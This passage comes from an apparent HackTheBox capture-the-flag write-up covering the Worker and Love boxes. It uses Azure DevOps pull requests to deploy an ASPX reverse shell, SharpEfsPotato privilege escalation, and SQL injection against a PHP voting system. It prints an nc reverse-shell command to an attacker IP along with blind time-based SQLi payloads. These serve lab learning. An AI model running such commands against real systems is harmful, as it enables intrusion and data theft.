clear.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a new project.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a code repository, then initialize it or import existing code.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a Pipeline and select the code source, which can simply be the repository we just created. Select &amp;ldquo;Starter pipeline&amp;rdquo; or an existing template.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Configure the Pipeline yaml, which is the configuration file shown above.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Save the Pipeline settings, then use Run Pipeline for the first deployment.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;From then on, whenever a branch is pushed to master or main, the Pipeline runs automatically and deploys the website.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;This was also a little like GitHub Actions. Here is the blog post I used as a reference:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html" target="_blank" rel="noopener"&#10; &gt;https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Now that I understood the principle, it was time to try it for real. I was not very comfortable with git commands. I had tried pushing projects many times before and eventually succeeded, but I still was not very fluent with the commands. This machine was a good chance to learn them.&lt;/p&gt;&#10;&lt;p&gt;My plan was to do it once from the command line and once through the web GUI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clone the alpha project locally, add a file, and push it back&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Cloning into &amp;#39;alpha&amp;#39;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Username for &amp;#39;http://devops.worker.htb&amp;#39;: nathen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password for &amp;#39;http://nathen@devops.worker.htb&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Azure Repos&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Found 54 objects to send. (51 ms)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This time, instead of generating a shell with msfvenom, I will use another approach&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com I plan to use this&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Place shell.aspx in the alpha project&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stage the new file in Git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add shell.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Commit the change&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;add shell.aspx&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Push it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin main&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed, saying I did not have permission to push to master. This is a common security measure. By following what other people did, I later learned about another mechanism:&lt;/p&gt;&#10;&lt;p&gt;pull request&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed the attack chain. I could not push directly to master and use the pipeline to publish and deploy the project. I needed to create a new branch, then use the pull requests mechanism to request that it be merged into master. Once the shell.aspx I created appeared in master, it could be published automatically.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a local branch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git checkout -b branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the remote branch while pushing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push --set-upstream origin branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It already existed. I originally wanted to complete the entire process from the command line, so I searched for a command-line method for creating a pull request. There did not seem to be such a command, though, so I had to finish through the web interface. That was convenient enough anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just click create.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we needed to add a reviewer and a work item.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding myself as the reviewer and attaching a work item was enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After clicking complete merge, it performed the merge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once the merge finished, I could see that the shell.aspx I created had been uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was accessible. Next, I tried creating a branch through the web interface. Creating a branch this way was much easier, so I will not spell it out here.&lt;/p&gt;&#10;&lt;p&gt;In the end, I got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use a Potato exploit for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;I tried several, and only this one worked. The public directory was writable, so I did everything there.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/bugch3ck/SharpEfsPotato" target="_blank" rel="noopener"&#10; &gt;https://github.com/bugch3ck/SharpEfsPotato&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; whoami | Set-Content C:\Users\Public\w.log&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I tried getting a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine was really interesting and taught me more about working with git. I had uploaded things to GitHub before, but had only picked up a little along the way. This machine expanded on that and taught me about SVN, Azure DevOps, and git workflows. It did a great job of broadening the scope. Still, I had to read write-ups twice while working on it. The first time, I could not log in; the second time, I had no idea what this thing even was. I was completely lost, read the write-up closely, and asked AI for help. None of that is allowed in the OSCP exam. I am not sure whether the exam will throw an application at me that I have never encountered at all, but what I can do is fully learn its logic afterward through write-ups, Google, and AI. I still need to train myself to quickly study and understand an application the first time I see it. Before the Omni and Worker machines, applications usually had a dedicated RCE process, and plenty of people had published RCE workflows for each one. But these two recent machines, Omni and Worker, were different. They were simply normal services. Appending terms like exploit, RCE, or reverse shell to the application name did not lead me to what I needed.&lt;/p&gt;&#10;&lt;p&gt;One thing worth mentioning is that accounts used by services like IIS and MSSQL seem to have SeImpersonatePrivilege. So when you encounter either type of user, the first thing to do is run whoami /priv and then look for a Potato privilege-escalation path.&lt;/p&gt;&#10;&lt;h2 id="18love"&gt;&lt;a href="#18love" class="header-anchor"&gt;&lt;/a&gt;18.Love&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;rpc&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mysql&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect even with a password.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had a login page.&lt;/p&gt;&#10;&lt;p&gt;Port 443 returned a 403. It might be using authentication from port 80, so I logged in there first and then tried accessing it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/admin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two pages use different endpoints. The home page expects an ID, while the admin page expects a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory traversal vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework information is shown above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to exist.&lt;/p&gt;&#10;&lt;p&gt;This web app wasn&amp;rsquo;t built with any particular framework either, so all I could do was look for vulnerabilities in one of its components.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a voting system, and I was fairly sure the user login would have weak credentials. It expected a numeric ID, and I didn&amp;rsquo;t know how those IDs were assigned. Still, a voting system would surely have plenty of users, so weak passwords were bound to exist. Since I didn&amp;rsquo;t know where the IDs started, I began with the simplest combinations: IDs from 1 to 10000, paired with &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;Password&lt;/code&gt;, &lt;code&gt;123456&lt;/code&gt;, and &lt;code&gt;admin123&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I had the absolute xampp path now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was an exploit, but it required an account and password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The box was released on May 1, 2021, while this exploit came out on January 19, so it should work. The exploit didn&amp;rsquo;t give me much more information, though. If I could get into the admin panel, I could probably find my own route to RCE anyway.&lt;/p&gt;&#10;&lt;p&gt;The exploit included the target&amp;rsquo;s source code, and sure enough, it matched. I downloaded the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting&amp;#43;System&amp;#43;using&amp;#43;PHP%2FMySQLi&amp;#43;with&amp;#43;Source&amp;#43;Code" target="_blank" rel="noopener"&#10; &gt;https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting+System+using+PHP%2FMySQLi+with+Source+Code&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;What I couldn&amp;rsquo;t believe was that the box might expect me to find a vulnerability myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This SQL injection was painfully obvious. I couldn&amp;rsquo;t find a related exploit online, but the source code made everything click immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unsurprisingly, the admin login worked the same way.&lt;/p&gt;&#10;&lt;p&gt;The password was the problem. I couldn&amp;rsquo;t bypass the login outright, so I could only use the injection to extract information. I first verified that the vulnerability really existed on the target and matched the source instead of having been patched.&lt;/p&gt;&#10;&lt;p&gt;Entering &lt;code&gt;1&lt;/code&gt; as the username returned a message saying the user couldn&amp;rsquo;t be found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I entered &lt;code&gt;1' or 1=1#&lt;/code&gt;, it responded with this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Wrong password. As I saw it, there were three possible paths.&lt;/p&gt;&#10;&lt;p&gt;The first was blind SQL injection. Blind injection is notoriously time-consuming, and all the responses were hardcoded, so blind injection was the only option here. The downside was that it would be extremely slow. The upside was that I already knew the admin panel had an RCE vulnerability, so I could extract the account and use it to get RCE there.&lt;/p&gt;&#10;&lt;p&gt;The second path, and the one I wanted to take, was to query the database privileges directly. If the database user was root, or otherwise had permission to create users or administrative privileges, I could simply create another user that allowed remote access.&lt;/p&gt;&#10;&lt;p&gt;The third was to write a shell directly. I already had the absolute path, so I only needed to check whether I had write permission.&lt;/p&gt;&#10;&lt;p&gt;The second option overlapped with both the first and third, so I decided to see whether I could create a user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;localtion&lt;/code&gt; header would redirect immediately, but when I accessed this endpoint, it ran the entire query without breaking the time-based injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t take long to find another problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error whenever the return value was empty. That wasn&amp;rsquo;t a big deal in itself, because the query above had already run. At this point I had to take the first path. Extracting the username and password through blind injection was much easier than the other approaches now, and I already had an RCE route in the admin panel. First, though, I needed to confirm that the account was correct.&lt;/p&gt;&#10;&lt;p&gt;Its validation logic was interesting too. At this endpoint, if my password was wrong, it stored my session in the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then, when I took that session and accessed &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a visible response. I could inject the username this way, but not the password. If I knew any valid password, I could log in successfully. For example, I tried a password on the voter login page and got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The PoC is at the end.&lt;/p&gt;&#10;&lt;p&gt;Database name:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first username was five characters long.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no second username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no need to brute-force the account name anymore; I had already confirmed it was &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;I still added this to the script, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source already showed the database structure, but I wanted to verify it.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=&amp;ldquo;admin&amp;rdquo;))=60,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sixty characters. That was also visible in the source; I was just double-checking it.&lt;/p&gt;&#10;&lt;p&gt;Extracting the password took far too long, so I&amp;rsquo;ll skip over a stretch of waiting here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The script crashed when it reached this point. During the long wait, I tried to find out whether this step was even correct, but in practice nobody else had taken the same route I had.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even if I extracted the password, it was still a hash that I would have to crack, and the plaintext wasn&amp;rsquo;t in &lt;code&gt;rockyou&lt;/code&gt;. Constant brute-forcing also made my connection to the box painfully slow. I&amp;rsquo;ll leave the PoC until the end.&lt;/p&gt;&#10;&lt;p&gt;I only learned about the other way to get a shell after looking at a write-up, and it was much easier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Checking the certificate is a fairly standard idea, but I hadn&amp;rsquo;t done it at the time. That was a major mistake. There was a domain name here, so I added it to &lt;code&gt;hosts&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a demo here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use SSRF to request local services and see whether any of the services identified 